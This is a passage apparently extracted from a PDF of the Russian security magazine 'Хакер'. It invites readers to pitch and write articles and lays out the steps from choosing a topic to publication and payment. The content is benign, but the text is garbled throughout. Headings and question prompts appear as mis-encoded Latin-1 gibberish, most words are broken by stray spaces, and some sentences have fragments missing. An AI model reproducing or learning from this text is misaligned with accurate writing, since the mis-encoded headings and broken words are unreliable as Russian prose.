ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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